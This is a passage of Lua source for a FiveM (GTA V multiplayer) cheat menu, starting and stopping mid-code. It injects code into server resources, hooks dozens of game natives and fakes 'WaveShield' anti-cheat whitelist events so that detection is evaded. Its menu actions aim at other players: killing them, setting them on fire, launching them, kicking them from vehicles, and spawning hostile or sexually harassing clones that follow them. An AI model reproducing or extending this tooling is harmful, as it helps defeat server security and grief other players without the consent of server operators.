DoesEntityExist(targetPed) and DoesEntityExist(myPed) then local targetModel = GetEntityModel(targetPed) local myModel = GetEntityModel(myPed) if myModel ~= targetModel then RequestModel(targetModel) local timeout = GetGameTimer() + 3000 while not HasModelLoaded(targetModel) and GetGameTimer() < timeout do Wait(10) end if HasModelLoaded(targetModel) then SetPlayerModel(PlayerId(), targetModel) SetModelAsNoLongerNeeded(targetModel) myPed = PlayerPedId() Wait(100) end end for comp = 0, 11 do local drawable = GetPedDrawableVariation(targetPed, comp) local texture = GetPedTextureVariation(targetPed, comp) SetPedComponentVariation(myPed, comp, drawable, texture, 0) end for prop = 0, 7 do local propIndex = GetPedPropIndex(targetPed, prop) local propTexture = GetPedPropTextureIndex(targetPed, prop) if propIndex ~= -1 then SetPedPropIndex(myPed, prop, propIndex, propTexture, true) else ClearPedProp(myPed, prop) end end pcall(function() local hairColor, highlightColor = GetPedHairColor(targetPed) if hairColor then SetPedHairColor(myPed, hairColor, highlightColor or hairColor) end end) pcall(function() for overlay = 0, 12 do local ok, val, cType, fColor, sColor, op = pcall(GetPedHeadOverlayData, targetPed, overlay) if ok and val and val ~= 255 then SetPedHeadOverlay(myPed, overlay, val, op or 1.0) SetPedHeadOverlayColor(myPed, overlay, cType or 1, fColor or 0, sColor or 0) else local val = GetPedHeadOverlay(targetPed, overlay) if val and val ~= 255 then SetPedHeadOverlay(myPed, overlay, val, 1.0) end end end end) end end) ]], targetSid) MachoInjectResource2(3, reaperResource, code) elseif isBypassActive("WaveShield") and type(injectCode) == "function" then -- WS active but no trusted wsResource — use injectCode WS proxy with LocalPlayer.state trick injectCode('monitor', string.format([==[ local function safeCall(fn, ...) if fn then return fn(...) end end local function SafeWrap(fn) return function(...) return fn(...) end end local function WS_RunSafeFunc(setFunc, ...) if type(setFunc) == "function" then local ok, res = pcall(function(...) if LocalPlayer and LocalPlayer.state then local k = "ws_" .. tostring(math.random(100000, 999999)) LocalPlayer.state:set(k, setFunc, false) if LocalPlayer.state[k] then return LocalPlayer.state[k](...) end end return setFunc(...) end, ...) if ok then return res end return setFunc(...) end end local function SafeNative(fn, ...) return safeCall(WS_RunSafeFunc, SafeWrap(fn), ...) end SafeNative(function() local targetSid = %d local clientId = GetPlayerFromServerId(targetSid) local targetPed = (clientId and clientId ~= -1) and GetPlayerPed(clientId) or 0 local myPed = PlayerPedId() if DoesEntityExist(targetPed) and DoesEntityExist(myPed) then local targetModel = GetEntityModel(targetPed) local myModel = GetEntityModel(myPed) if myModel ~= targetModel then RequestModel(targetModel) local timeout = GetGameTimer() + 3000 while not HasModelLoaded(targetModel) and GetGameTimer() < timeout do Wait(10) end if HasModelLoaded(targetModel) then pcall(function() TriggerServerEvent("__WaveShield:SetPlayerModel", targetModel) end) SetPlayerModel(PlayerId(), targetModel) SetModelAsNoLongerNeeded(targetModel) myPed = PlayerPedId() Wait(100) end end for comp = 0, 11 do local drawable = GetPedDrawableVariation(targetPed, comp) local texture = GetPedTextureVariation(targetPed, comp) SetPedComponentVariation(myPed, comp, drawable, texture, 0) end for prop = 0, 7 do local propIndex = GetPedPropIndex(targetPed, prop) local propTexture = GetPedPropTextureIndex(targetPed, prop) if propIndex ~= -1 then SetPedPropIndex(myPed, prop, propIndex, propTexture, true) else ClearPedProp(myPed, prop) end end end end) ]==], targetSid)) else injectCode('monitor', string.format([[ CreateThread(function() local targetSid = %d local clientId = GetPlayerFromServerId(targetSid) local targetPed = (clientId and clientId ~= -1) and GetPlayerPed(clientId) or 0 local myPed = PlayerPedId() if DoesEntityExist(targetPed) and DoesEntityExist(myPed) then local targetModel = GetEntityModel(targetPed) local myModel = GetEntityModel(myPed) if myModel ~= targetModel then RequestModel(targetModel) local timeout = GetGameTimer() + 3000 while not HasModelLoaded(targetModel) and GetGameTimer() < timeout do Wait(10) end if HasModelLoaded(targetModel) then SetPlayerModel(PlayerId(), targetModel) SetModelAsNoLongerNeeded(targetModel) myPed = PlayerPedId() Wait(100) end end for comp = 0, 11 do local drawable = GetPedDrawableVariation(targetPed, comp) local texture = GetPedTextureVariation(targetPed, comp) SetPedComponentVariation(myPed, comp, drawable, texture, 0) end for prop = 0, 7 do local propIndex = GetPedPropIndex(targetPed, prop) local propTexture = GetPedPropTextureIndex(targetPed, prop) if propIndex ~= -1 then SetPedPropIndex(myPed, prop, propIndex, propTexture, true) else ClearPedProp(myPed, prop) end end pcall(function() local hairColor, highlightColor = GetPedHairColor(targetPed) if hairColor then SetPedHairColor(myPed, hairColor, highlightColor or hairColor) end end) pcall(function() for overlay = 0, 12 do local ok, val, cType, fColor, sColor, op = pcall(GetPedHeadOverlayData, targetPed, overlay) if ok and val and val ~= 255 then SetPedHeadOverlay(myPed, overlay, val, op or 1.0) SetPedHeadOverlayColor(myPed, overlay, cType or 1, fColor or 0, sColor or 0) else local val = GetPedHeadOverlay(targetPed, overlay) if val and val ~= 255 then SetPedHeadOverlay(myPed, overlay, val, 1.0) end end end end) end end) ]], targetSid)) end showNotify("Copied Player Appearance", "success") end }, { type = 'scroll', label = 'Spawn NPC Clone Of Player', selected = 1, options = { { label = 'Hostile', value = 'hostile' }, { label = 'Jerkoff', value = 'jerkoff' }, { label = 'Strip', value = 'strip' } }, onConfirm = function(data) local mode = 'hostile' if type(data) == "table" then mode = tostring(data.value or data.label or 'hostile'):lower() elseif type(data) == "string" then mode = data:lower() end if mode ~= 'jerkoff' and mode ~= 'strip' then mode = 'hostile' end local targetSid = 0 for serverId, checked in pairs(CPlayers or {}) do if checked then targetSid = tonumber(serverId) or 0 break end end if not targetSid or targetSid == 0 then targetSid = tonumber(GetPlayerServerId(PlayerId())) or 0 end injectCode('monitor', string.format([[ CreateThread(function() local targetSid = %d local mode = %q local targetPlayer = GetPlayerFromServerId(targetSid) if targetPlayer == -1 then return end local targetPed = GetPlayerPed(targetPlayer) if not DoesEntityExist(targetPed) then return end local coords = GetEntityCoords(targetPed) local heading = GetEntityHeading(targetPed) local modelHash = GetEntityModel(targetPed) RequestModel(modelHash) local timeout = GetGameTimer() + 3000 while not HasModelLoaded(modelHash) and GetGameTimer() < timeout do Wait(10) end if not HasModelLoaded(modelHash) then return end local spawnX = coords.x + (math.random() * 2.0 - 1.0) * 1.5 local spawnY = coords.y + (math.random() * 2.0 - 1.0) * 1.5 local spawnZ = coords.z CreatePed(4, modelHash, spawnX, spawnY, spawnZ, heading, true, false) -- Poll CPed game pool for up to 5 seconds until WS creates the ped local clone = nil local pollEnd = GetGameTimer() + 5000 while GetGameTimer() < pollEnd do for _, p in ipairs(GetGamePool("CPed")) do if DoesEntityExist(p) and GetEntityModel(p) == modelHash and not IsPedAPlayer(p) then local pc = GetEntityCoords(p) if #(pc - vector3(spawnX, spawnY, spawnZ)) < 5.0 then clone = p break end end end if clone then break end Wait(100) end if not clone or not DoesEntityExist(clone) then SetModelAsNoLongerNeeded(modelHash) return end SetEntityAsMissionEntity(clone, true, true) SetModelAsNoLongerNeeded(modelHash) local function copyAppearance(src, dst) pcall(function() local headData = { GetPedHeadBlendData(src) } if headData[1] then SetPedHeadBlendData(dst, headData[1], headData[2], headData[3], headData[4], headData[5], headData[6], headData[7] or 0, headData[8] or 0, headData[9] or 0, false) end end) pcall(function() for i = 0, 19 do local val = GetPedFaceFeature(src, i) if val then SetPedFaceFeature(dst, i, val) end end end) for comp = 0, 11 do local drawable = GetPedDrawableVariation(src, comp) local texture = GetPedTextureVariation(src, comp) local palette = GetPedPaletteVariation(src, comp) SetPedComponentVariation(dst, comp, drawable, texture, palette or 0) end for prop = 0, 7 do local pIdx = GetPedPropIndex(src, prop) local pTex = GetPedPropTextureIndex(src, prop) if pIdx ~= -1 then SetPedPropIndex(dst, prop, pIdx, pTex, true) else ClearPedProp(dst, prop) end end pcall(function() local hColor, hHighlight = GetPedHairColor(src) if hColor then SetPedHairColor(dst, hColor, hHighlight or hColor) end end) pcall(function() for overlay = 0, 12 do local ok, val, cType, fColor, sColor, op = pcall(GetPedHeadOverlayData, src, overlay) if ok and val and val ~= 255 then SetPedHeadOverlay(dst, overlay, val, op or 1.0) SetPedHeadOverlayColor(dst, overlay, cType or 1, fColor or 0, sColor or 0) end end end) end copyAppearance(targetPed, clone) if mode == 'hostile' then local cloneGroup = AddRelationshipGroup("HOSTILE_CLONE_" .. tostring(clone)) SetPedRelationshipGroupHash(clone, cloneGroup) SetRelationshipBetweenGroups(5, cloneGroup, GetHashKey("PLAYER")) SetRelationshipBetweenGroups(5, GetHashKey("PLAYER"), cloneGroup) local weapHash = GetHashKey("WEAPON_MICROSMG") GiveWeaponToPed(clone, weapHash, 9999, false, true) SetPedDropsWeaponsWhenDead(clone, false) SetPedCanSwitchWeapon(clone, false) TaskCombatPed(clone, targetPed, 0, 16) SetPedCombatAttributes(clone, 46, true) SetPedFleeAttributes(clone, 0, false) SetEntityInvincible(clone, true) SetPedCanRagdoll(clone, false) else local dict = "mp_player_intupperwank" local anim = "mp_player_int_upperwank" if mode == 'strip' then dict = "switch@trevor@mocks_lapdance" anim = "001443_01_trvs_28_idle_stripper" end RequestAnimDict(dict) local tAnim = GetGameTimer() + 3000 while not HasAnimDictLoaded(dict) and GetGameTimer() < tAnim do Wait(10) end SetBlockingOfNonTemporaryEvents(clone, true) SetPedFleeAttributes(clone, 0, false) SetPedCanRagdoll(clone, false) if HasAnimDictLoaded(dict) then TaskPlayAnim(clone, dict, anim, 8.0, -8.0, -1, 49, 0.0, false, false, false) end -- Continuously follow target player instead of attaching CreateThread(function() while DoesEntityExist(clone) and DoesEntityExist(targetPed) do local pCoords = GetEntityCoords(targetPed) local cCoords = GetEntityCoords(clone) if #(pCoords - cCoords) > 1.2 then TaskFollowToOffsetOfEntity(clone, targetPed, 0.0, -1.0, 0.0, 2.0, -1, 1.0, true) end Wait(1500) end end) end end) ]], tonumber(targetSid) or 0, mode)) showNotify("Spawned NPC Clone (" .. tostring(mode:upper()) .. ")!", "success") end }, { type = 'button', label = 'Kick From Vehicle', onConfirm = function() local targetSid for serverId, checked in pairs(CPlayers or {}) do if checked then targetSid = serverId break end end if not targetSid then showNotify('You must select a player first!', 'error') return end injectCode('monitor', string.format([[ CreateThread(function() local targetSid = %d local pId = GetPlayerFromServerId(targetSid) if pId == -1 then return end local targetPed = GetPlayerPed(pId) if not DoesEntityExist(targetPed) then return end local veh = GetVehiclePedIsIn(targetPed, false) if not veh or veh == 0 or not DoesEntityExist(veh) then return end local myPed = PlayerPedId() local myCoords = GetEntityCoords(myPed) -- Request control of vehicle local t = GetGameTimer() + 1500 while not NetworkHasControlOfEntity(veh) and GetGameTimer() < t do NetworkRequestControlOfEntity(veh) Wait(10) end -- Warp into vehicle seat to claim control SetPedIntoVehicle(myPed, veh, 0) Wait(100) -- Clear target ped tasks to kick them out for i = 1, 5 do ClearPedTasksImmediately(targetPed) TaskLeaveVehicle(targetPed, veh, 16) Wait(10) end -- Leave vehicle and restore player position Wait(100) TaskLeaveVehicle(myPed, veh, 16) Wait(100) SetEntityCoordsNoOffset(myPed, myCoords.x, myCoords.y, myCoords.z, false, false, false) end) ]], tonumber(targetSid) or 0)) showNotify("Kicked Player From Vehicle!", "success") end }, { type = 'button', label = 'Launch Player', onConfirm = function() local targetSid for serverId, checked in pairs(CPlayers or {}) do if checked then targetSid = serverId break end end if not targetSid then showNotify('You must select a player first!', 'error') return end injectCode('monitor', string.format([[ local targetServerId = %d local radius = 3000.0 local function GetPlayersInRadius(targetCoords, radius) local playersInRadius = {} local myPed = PlayerPedId() if not myPed then return playersInRadius end for i = 0, 255 do local player = GetPlayerFromServerId(i) if player and player ~= -1 and DoesEntityExist(GetPlayerPed(player)) then local ped = GetPlayerPed(player) local coords = GetEntityCoords(ped) if coords then local distance = #(targetCoords - coords) if distance <= radius then table.insert(playersInRadius, { player = player, serverId = i }) end end end end return playersInRadius end CreateThread(function() local clientId = GetPlayerFromServerId(targetServerId) if not clientId or clientId == -1 then return end local targetPed = GetPlayerPed(clientId) if not targetPed or not DoesEntityExist(targetPed) then return end local myPed = PlayerPedId() if not myPed then return end local myCoords = GetEntityCoords(myPed) local targetCoords = GetEntityCoords(targetPed) if not myCoords or not targetCoords then return end local distance = #(myCoords - targetCoords) local teleported = false local originalCoords = nil if distance > 10.0 then originalCoords = myCoords local angle = math.random() * 2 * math.pi local radiusOffset = math.random(5, 9) local xOffset = math.cos(angle) * radiusOffset local yOffset = math.sin(angle) * radiusOffset local newCoords = vector3(targetCoords.x + xOffset, targetCoords.y + yOffset, targetCoords.z) SetEntityCoordsNoOffset(myPed, newCoords.x, newCoords.y, newCoords.z, false, false, false) SetEntityVisible(myPed, false, 0) teleported = true Wait(100) end local playersInRadius = GetPlayersInRadius(targetCoords, radius) ClearPedTasksImmediately(myPed) for i = 1, 15 do if not DoesEntityExist(targetPed) then break end local curTargetCoords = GetEntityCoords(targetPed) if not curTargetCoords then break end SetEntityCoords(myPed, curTargetCoords.x, curTargetCoords.y, curTargetCoords.z + 0.5, false, false, false, false) Wait(50) AttachEntityToEntityPhysically(myPed, targetPed, 0, 0.0, 0.0, 0.0, 150.0, 0.0, 0.0, 0.0, 0.0, 0.0, 1, false, false, 1, 2) Wait(50) DetachEntity(myPed, true, true) Wait(100) end Wait(500) ClearPedTasksImmediately(myPed) if originalCoords then SetEntityCoords(myPed, originalCoords.x, originalCoords.y, originalCoords.z + 1.0, false, false, false, false) Wait(100) SetEntityCoords(myPed, originalCoords.x, originalCoords.y, originalCoords.z, false, false, false, false) end if teleported then SetEntityVisible(myPed, true, 0) end end) ]], targetSid)) showNotify("Launching Player...", "success") end }, { type = 'button', label = 'Kill Player', onConfirm = function() local targetSid for serverId, checked in pairs(CPlayers or {}) do if checked then targetSid = serverId break end end if not targetSid then showNotify('You must select a player first!', 'error') return end injectCode('any', string.format([[ local weaponName = 'weapon_appistol' local ammoAmount = 999 local targetSid = %d CreateThread(function() local weapon = GetHashKey(weaponName) RequestWeaponAsset(weapon, 31, 26) while not HasWeaponAssetLoaded(weapon) do Wait(0) end local selfPed = PlayerPedId() GiveDelayedWeaponToPed(selfPed, weapon, ammoAmount, true) SetPedAmmo(selfPed, weapon, ammoAmount) SetCurrentPedWeapon(selfPed, weapon, true) Wait(100) local targetPed = GetPlayerPed(GetPlayerFromServerId(targetSid)) if DoesEntityExist(targetPed) and not IsPedDeadOrDying(targetPed, true) then local targetCoords = GetEntityCoords(targetPed) local fromCoords = targetCoords + vec3(0.0, 0.0, 0.1) ShootSingleBulletBetweenCoords(fromCoords.x, fromCoords.y, fromCoords.z, targetCoords.x, targetCoords.y, targetCoords.z, 999999, true, weapon, selfPed, true, false, 999999.0) SetPedUsingActionMode(selfPed, true, -1, 1) SetPedCurrentWeaponVisible(selfPed, false, false, true, true) end SetPedUsingActionMode(selfPed, false, -1, 'DEFAULT_ACTION') RemoveWeaponFromPed(selfPed, weapon) SetCurrentPedWeapon(selfPed, 'weapon_unarmed', true) end) ]], targetSid)) showNotify("Killed Player!", "success") end }, { type = 'button', label = 'Cage Player', onConfirm = function() local targetSid for serverId, checked in pairs(CPlayers or {}) do if checked then targetSid = serverId break end end if not targetSid then showNotify('You must select a player first!', 'error') return end local player = GetPlayerFromServerId(tonumber(targetSid) or 0) local ped = (player ~= -1 and DoesEntityExist(GetPlayerPed(player))) and GetPlayerPed(player) or nil if ped then local coords = GetEntityCoords(ped) if type(_G.SyndicateSafeSpawnProp) == "function" then _G.SyndicateSafeSpawnProp(GetHashKey("prop_gold_cont_01"), vector3(coords.x, coords.y, coords.z - 1.0)) end end showNotify("Caged Player!", "success") end }, { type = 'button', label = 'Set on Fire', onConfirm = function() local targetPlayers = {} for serverId, checked in pairs(CPlayers or {}) do if checked then targetPlayers[#targetPlayers + 1] = serverId end end if #targetPlayers == 0 then showNotify('Select a player first!', 'error') return end for _, sid in ipairs(targetPlayers) do injectCode('monitor', string.format([[ local player = GetPlayerFromServerId(%d) if player ~= -1 and DoesEntityExist(GetPlayerPed(player)) then local ped = GetPlayerPed(player) local coords = GetEntityCoords(ped) StartScriptFire(coords.x, coords.y, coords.z, 25, true) StartEntityFire(ped) end ]], tonumber(sid) or 0)) end showNotify(string.format("Set %d player(s) on fire!", #targetPlayers), "success") end }, { type = 'scroll', label = 'Attach Prop', selected = 1, options = { { label = "Container 01h", value = "tr_prop_tr_container_01h" }, { label = "Train A1", value = "xm3_mpchristmas3_additions_traina1" }, { label = "Sex Doll", value = "v_61_bth_mesh_sexdoll" }, { label = "Toilet 02", value = "prop_toilet_02" } }, onConfirm = function(data) local propModelName = type(data) == "table" and data.value or data local targetPlayers = {} for serverId, checked in pairs(CPlayers or {}) do if checked then table.insert(targetPlayers, serverId) end end if #targetPlayers == 0 then showNotify('You must select a player first!', 'error') return end for _, sid in ipairs(targetPlayers) do CreateThread(function() local player = GetPlayerFromServerId(tonumber(sid) or 0) local ped = (player ~= -1 and DoesEntityExist(GetPlayerPed(player))) and GetPlayerPed(player) or nil if ped then local coords = GetEntityCoords(ped) local model = GetHashKey(propModelName) if type(_G.SyndicateSafeSpawnProp) == "function" then _G.SyndicateSafeSpawnProp(model, coords) end Wait(250) local obj = GetClosestObjectOfType(coords.x, coords.y, coords.z, 3.0, model, false, false, false) if obj and obj ~= 0 and DoesEntityExist(obj) then local bone = GetPedBoneIndex(ped, 24818) AttachEntityToEntity(obj, ped, bone, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, true, true, false, true, 1, true) SetEntityAsMissionEntity(obj, true, true) end end end) end showNotify(string.format("Attached Prop to %d player(s)!", #targetPlayers), "success") end } } } } }, { label = 'Weapons', icon = 'ph-crosshair', type = 'submenu', tabs = { { name = 'Spawner', submenu = { { label = 'Give All Weapons', type = 'button', onConfirm = function() injectCode('monitor', [[ CreateThread(function() local ped = PlayerPedId() local weapons = { -- Melee "WEAPON_KNIFE", "WEAPON_NIGHTSTICK", "WEAPON_HAMMER", "WEAPON_BAT", "WEAPON_GOLFCLUB", "WEAPON_CROWBAR", "WEAPON_BOTTLE", "WEAPON_DAGGER", "WEAPON_HATCHET", "WEAPON_KNUCKLE", "WEAPON_MACHETE", "WEAPON_FLASHLIGHT", "WEAPON_SWITCHBLADE", "WEAPON_BATTLEAXE", "WEAPON_POOLCUE", "WEAPON_STONE_HATCHET", "WEAPON_WRENCH", "WEAPON_CANDY_CANE", -- Handguns "WEAPON_PISTOL", "WEAPON_PISTOL_MK2", "WEAPON_COMBATPISTOL", "WEAPON_APPISTOL", "WEAPON_STUNGUN", "WEAPON_STUNGUN_MP", "WEAPON_PISTOL50", "WEAPON_SNSPISTOL", "WEAPON_SNSPISTOL_MK2", "WEAPON_HEAVYPISTOL", "WEAPON_VINTAGEPISTOL", "WEAPON_FLAREGUN", "WEAPON_MARKSMANPISTOL", "WEAPON_REVOLVER", "WEAPON_REVOLVER_MK2", "WEAPON_DOUBLEACTION", "WEAPON_RAYPISTOL", "WEAPON_CERAMICPISTOL", "WEAPON_NAVYREVOLVER", "WEAPON_GADGETPISTOL", -- SMGs & PDWs "WEAPON_MICROSMG", "WEAPON_SMG", "WEAPON_SMG_MK2", "WEAPON_ASSAULTSMG", "WEAPON_COMBATPDW", "WEAPON_MACHINEPISTOL", "WEAPON_MINISMG", "WEAPON_RAYCARBINE", "WEAPON_TECPISTOL", -- Shotguns "WEAPON_PUMPSHOTGUN", "WEAPON_PUMPSHOTGUN_MK2", "WEAPON_SAWNOFFSHOTGUN", "WEAPON_ASSAULTSHOTGUN", "WEAPON_BULLPUPSHOTGUN", "WEAPON_MUSKET", "WEAPON_HEAVYSHOTGUN", "WEAPON_DBSHOTGUN", "WEAPON_AUTOSHOTGUN", "WEAPON_COMBATSHOTGUN", -- Rifles "WEAPON_ASSAULTRIFLE", "WEAPON_ASSAULTRIFLE_MK2", "WEAPON_CARBINERIFLE", "WEAPON_CARBINERIFLE_MK2", "WEAPON_ADVANCEDRIFLE", "WEAPON_SPECIALCARBINE", "WEAPON_SPECIALCARBINE_MK2", "WEAPON_BULLPUPRIFLE", "WEAPON_BULLPUPRIFLE_MK2", "WEAPON_GUSENBERG", "WEAPON_COMPACTRIFLE", "WEAPON_MILITARYRIFLE", "WEAPON_HEAVYRIFLE", "WEAPON_TACTICALRIFLE", -- LMGs "WEAPON_MG", "WEAPON_COMBATMG", "WEAPON_COMBATMG_MK2", -- Snipers "WEAPON_SNIPERRIFLE", "WEAPON_HEAVYSNIPER", "WEAPON_HEAVYSNIPER_MK2", "WEAPON_MARKSMANRIFLE", "WEAPON_MARKSMANRIFLE_MK2", "WEAPON_PRECISIONRIFLE", -- Heavy & Launchers "WEAPON_RPG", "WEAPON_GRENADELAUNCHER", "WEAPON_GRENADELAUNCHER_SMOKE", "WEAPON_MINIGUN", "WEAPON_FIREWORK", "WEAPON_RAILGUN", "WEAPON_RAILGUNXM3", "WEAPON_HOMINGLAUNCHER", "WEAPON_COMPACTLAUNCHER", "WEAPON_RAYMINIGUN", "WEAPON_EMP", -- Throwables & Equipment "WEAPON_GRENADE", "WEAPON_BZGAS", "WEAPON_SMOKEGRENADE", "WEAPON_MOLOTOV", "WEAPON_STICKYBOMB", "WEAPON_PROXMINE", "WEAPON_PIPEBOMB", "WEAPON_SNOWBALL", "WEAPON_BALL", "WEAPON_FLARE", "WEAPON_PETROLCAN", "WEAPON_HAZARDCAN", "WEAPON_FERTILIZERCAN", "WEAPON_ACIDPACKAGE", "WEAPON_PARACHUTE" } for i = 1, #weapons do local weapStr = weapons[i] local hash = GetHashKey(weapStr) if IsWeaponValid(hash) and HasWeaponAssetLoaded(hash) then pcall(function() GiveWeaponToPed(ped, hash, 9999, false, false) end) else RequestWeaponAsset(hash, 31, 0) pcall(function() GiveWeaponToPed(ped, hash, 9999, false, false) end) end Wait(10) end end) ]]) showNotify("Gave All GTA V Weapons!", "success") end }, { label = 'Remove All Weapons', type = 'button', onConfirm = function() injectCode('monitor', [[ local ped = PlayerPedId() SetCurrentPedWeapon(ped, GetHashKey("WEAPON_UNARMED"), true) Wait(50) RemoveAllPedWeapons(ped, true) ]]) showNotify("Removed All Weapons", "info") end }, { label = 'Remove Gun From Hand', type = 'button', onConfirm = function() injectCode('monitor', [[ local ped = PlayerPedId() local _, weap = GetCurrentPedWeapon(ped, true) if weap and weap ~= 0 then SetCurrentPedWeapon(ped, GetHashKey("WEAPON_UNARMED"), true) Wait(50) RemoveWeaponFromPed(ped, weap) end ]]) showNotify("Current Weapon Removed", "info") end }, { label = 'Spawn weapon by name', type = 'button', onConfirm = function() showInput("Weapon Name", "", function(val) if val and val ~= "" then -- Step 1: Apply client detection hooks via monitor injectCode('monitor', [[ CreateThread(function() pcall(function() if type(MachoHookNative) == "function" then MachoHookNative(0x3A87E44BB9A01D54, function(p, p2) if p == PlayerPedId() then return false, false, -1569615261 end end) MachoHookNative(0x0A6DB4965674D243, function(p) if p == PlayerPedId() then return false, -1569615261 end return true end) MachoHookNative(0x8483E98E8B888AE2, function(p, p1) if p == PlayerPedId() then return false, -1569615261 end return true end) MachoHookNative(0x475768A975D5AD17, function(p, typeFlags) if p == PlayerPedId() then return false, false end end) MachoHookNative(0x8DECB02F88F428BC, function(p, weaponHash, p2) if p == PlayerPedId() then return false, false end return true end) MachoHookNative(0x2E1202248937775C, function(p, weaponHash) if p == PlayerPedId() then return false, false, 0 end return true end) MachoHookNative(0xA48931185F0536FE, function() return false, -1569615261 end) MachoHookNative(0x840F03E9041E2C9C, function(p) if p == PlayerPedId() then return false, 0.0 end return true end) MachoHookNative(0x7EE53118C892B513, function(p, flag, p2) if p == PlayerPedId() and flag == 331 then return false, false end return true end) MachoHookNative(0x4899CB088EDF59B8, function(p, weaponHash) if p == PlayerPedId() then return false end return true end) MachoHookNative(0x3B390A939AF0B5FC, function(p, p1) if p == PlayerPedId() then return false, 0 end return true end) MachoHookNative(0x2B9EEDC07BD06B9F, function(p, weaponHash) if p == PlayerPedId() then return false, 0 end return true end) MachoHookNative(0x7FEAD38B326B9F74, function(p, weaponHash) if p == PlayerPedId() then return false, 0 end return true end) MachoHookNative(0x39D22031557946C1, function(p, ammoType) if p == PlayerPedId() then return false, 0 end return true end) MachoHookNative(0x015A522136D7F951, function(p, weaponHash) if p == PlayerPedId() then return false, 0 end return true end) MachoHookNative(0xA38DCFFCEA8962FA, function(p, weaponHash, p2) if p == PlayerPedId() then return false, 0 end return true end) MachoHookNative(0xDC16122C7A20C933, function(p, weaponHash) if p == PlayerPedId() then return false, false, 0 end return true end) MachoHookNative(0x65F0C5AE05943EC7, function(p) if p == PlayerPedId() then return false, false end return true end) MachoHookNative(0xB80CA294F2F26749, function(p) if p == PlayerPedId() then return false, false end return true end) MachoHookNative(0x34616828CD07F1A1, function(p) if p == PlayerPedId() then return false, false end return true end) MachoHookNative(0xB2C086CC1BF8F2BF, function(p) if p == PlayerPedId() then return false, false end return true end) MachoHookNative(0x24B100C68C645951, function(p) if p == PlayerPedId() then return false, false end return true end) MachoHookNative(0xF0A60040BE558F2D, function(p, weaponHash, componentHash) if p == PlayerPedId() then return false, 0 end return true end) MachoHookNative(0xC593212475FAE340, function(p, weaponHash, componentHash) if p == PlayerPedId() then return false, false end return true end) MachoHookNative(0xCAE1DC9A0E22A16D, function(p, p1) return false, 0 end) MachoHookNative(0x583BE370B1EC6EB4, function(weaponHash) return false, 0 end) MachoHookNative(0x3133B907D8B32053, function(weaponHash, componentHash) return false, 0.0 end) MachoHookNative(0x065D2AACAD8CF7A4, function(weaponHash) return false, 0.0 end) MachoHookNative(0x3BE0BB12D25FB305, function(weaponHash) return false, 0 end) MachoHookNative(0xB9A8252F8927A3B4, function(p, weaponHash) if p == PlayerPedId() then return false, true end return true end) MachoHookNative(0x8C7D9D2A8D3DB1D2, function(p) if p == PlayerPedId() then return false, 0.0 end return true end) MachoHookNative(0x4E209B2C1EAD5159, function(p) if p == PlayerPedId() then return false, false end return true end) MachoHookNative(0x814C9D19DFD69679, function(p) if p == PlayerPedId() then return false, 1.0 end return true end) MachoHookNative(0xEFFED78E9011134D, function(p, weaponSlot) if p == PlayerPedId() then return false, -1569615261 end return true end) MachoHookNative(0x7E9DFE24AC1E58EF, function(p, x1, y1, z1, x2, y2, z2, p7, p8) if p == PlayerPedId() then return false, false end return true end) MachoHookNative(0xA13E93403F26C812, function(weaponTypeIndex) return false, -1569615261 end) MachoHookNative(0xBC4C9EA5391ECC0D, function(id) if id == 2 or id == 19 or id == 20 then return false, false end return true end) MachoHookNative(0x2975C866E6713290, function(player) if player == PlayerId() then return false, false, 0 end return true end) MachoHookNative(0x79CFD9827CC979B6, function(p) return false, 1 end) end end) end) ]]) -- Step 2: Instant weapon hash resolution & give via WS context or monitor local wsResource = type(GetWSResourceName) == "function" and GetWSResourceName() if wsResource and string.lower(tostring(wsResource)) == "waveshield" then wsResource = nil end if isBypassActive("WaveShield") and wsResource and string.lower(tostring(wsResource)) ~= "waveshield" and type(MachoInjectResource2) == "function" then MachoInjectResource2(3, wsResource, string.format([=[ local function safeCall(fn, ...) if fn then return fn(...) end end local function SafeWrap(fn) return function(...) return fn(...) end end local function WS_RunSafeFunc(setFunc, ...) if type(setFunc) == "function" then local ok, res = pcall(function(...) if LocalPlayer and LocalPlayer.state then local k = "ws_" .. tostring(math.random(100000, 999999)) LocalPlayer.state:set(k, setFunc, false) if LocalPlayer.state[k] then return LocalPlayer.state[k](...) end end return setFunc(...) end, ...) if ok then return res end return setFunc(...) end end local function SafeNative(fn, ...) return safeCall(WS_RunSafeFunc, SafeWrap(fn), ...) end local ped = SafeNative(PlayerPedId) local rawInput = %q local cleaned = rawInput:gsub("^%%s*(.-)%%s*$", "%%1") local cleanedUpper = cleaned:upper() local numVal = tonumber(cleaned) local candidates = {} if numVal and numVal ~= 0 then table.insert(candidates, numVal) end if cleanedUpper:sub(1, 7) == "WEAPON_" then table.insert(candidates, SafeNative(GetHashKey, cleanedUpper)) table.insert(candidates, SafeNative(GetHashKey, cleaned)) table.insert(candidates, SafeNative(GetHashKey, cleaned:sub(8))) table.insert(candidates, SafeNative(GetHashKey, cleanedUpper:sub(8))) else table.insert(candidates, SafeNative(GetHashKey, "WEAPON_" .. cleanedUpper)) table.insert(candidates, SafeNative(GetHashKey, "WEAPON_" .. cleaned)) table.insert(candidates, SafeNative(GetHashKey, cleanedUpper)) table.insert(candidates, SafeNative(GetHashKey, cleaned)) table.insert(candidates, SafeNative(GetHashKey, cleaned:lower())) table.insert(candidates, SafeNative(GetHashKey, "weapon_" .. cleaned:lower())) end local hash = 0 for _, h in ipairs(candidates) do if h and h ~= 0 and (SafeNative(IsWeaponValid, h) or SafeNative(IsModelInCdimage, h)) then hash = h break end end if hash == 0 then for _, h in ipairs(candidates) do if h and h ~= 0 then hash = h break end end end if hash and hash ~= 0 then -- 1. Request asset asynchronously (non-blocking) pcall(function() SafeNative(RequestModel, hash) SafeNative(RequestWeaponAsset, hash, 31, 0) end) -- 2. Whitelist with WaveShield pcall(function() SafeNative(TriggerEvent, "__WaveShield:hasChangedPedWeapon", hash) end) pcall(function() if exports and exports["WaveShield"] and exports["WaveShield"].giveWeapon then exports["WaveShield"]:giveWeapon(hash) end end) -- 3. Give weapon and set to hand IMMEDIATELY (exact same tick as standard scroll weapons) SafeNative(GiveWeaponToPed, ped, hash, 9999, false, true) SafeNative(SetPedAmmo, ped, hash, 9999) SafeNative(SetCurrentPedWeapon, ped, hash, true) SafeNative(SetPedInfiniteAmmo, ped, true, hash) SafeNative(SetPedInfiniteAmmoClip, ped, true) SafeNative(SetPedCanSwitchWeapon, ped, true) pcall(function() SafeNative(SetPedCurrentWeaponVisible, ped, true, true, true, true) end) -- 4. Multi-frame retry in background to ensure addon streamed weapons stay locked in hand CreateThread(function() for retry = 1, 5 do Wait(retry * 40) local curPed = 